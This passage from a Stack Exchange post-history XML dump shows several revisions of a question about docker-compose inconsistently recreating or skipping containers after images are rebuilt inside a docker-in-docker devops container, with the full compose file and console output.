ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/blahblah:/inner_home/asya/src/github.com/blahblah &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11948" PostHistoryTypeId="50" PostId="3536" RevisionGUID="ccb28e79-527e-4fcb-8e54-9ba4cd9dc826" CreationDate="2018-04-04T20:41:10.763" UserId="-1" />
  <row Id="11949" PostHistoryTypeId="5" PostId="3773" RevisionGUID="ee58a877-6a2e-4ad1-840b-66d9507ac3c4" CreationDate="2018-04-05T01:09:57.060" UserId="192" Comment="added 310 characters in body" Text="My process successfully rebuilds a pair of two underlying docker images however docker-compose up sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image nodejs-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/blahblah:/inner_home/asya/src/github.com/blahblah &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;other times it incorrectly displays&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d&#xD;&#xA;    Recreating loud_devops ...&#xD;&#xA;    Recreating loud_mongo ...&#xD;&#xA;    Recreating loud_mail ...&#xD;&#xA;&#xD;&#xA;which should NEVER happen since those 3 images are never rebuilt ... to me that scenario is a blatant docker logic bug ... &#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11950" PostHistoryTypeId="5" PostId="3773" RevisionGUID="0b537426-007b-4691-8949-0e100a29f2eb" CreationDate="2018-04-05T01:16:04.527" UserId="192" Comment="added 12 characters in body" Text="My process successfully rebuilds a pair of two underlying docker images however &#xD;&#xA;&#xD;&#xA;    docker-compose up &#xD;&#xA;&#xD;&#xA;sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image nodejs-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/blahblah:/inner_home/asya/src/github.com/blahblah &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;other times it incorrectly displays&#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yml up -d&#xD;&#xA;    Recreating loud_devops ...&#xD;&#xA;    Recreating loud_mongo ...&#xD;&#xA;    Recreating loud_mail ...&#xD;&#xA;&#xD;&#xA;which should NEVER happen since those 3 images are never rebuilt ... to me that scenario is a blatant docker logic bug ... &#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11951" PostHistoryTypeId="5" PostId="3773" RevisionGUID="9998fe39-6058-4130-a4d0-e9e58e7bfd44" CreationDate="2018-04-05T02:15:18.847" UserId="192" Comment="added 1066 characters in body" Text="**TL;DR**  Somehow I am not correctly setting up the environment inside my devops container to enable proper execution of docker commands yet on other servers with identical code it often just works correctly ... I have setup a (docker in docker)&#xD;&#xA;&#xD;&#xA;My process successfully rebuilds a pair of two underlying docker images however &#xD;&#xA;&#xD;&#xA;    docker-compose up &#xD;&#xA;&#xD;&#xA;sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image loudweb-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 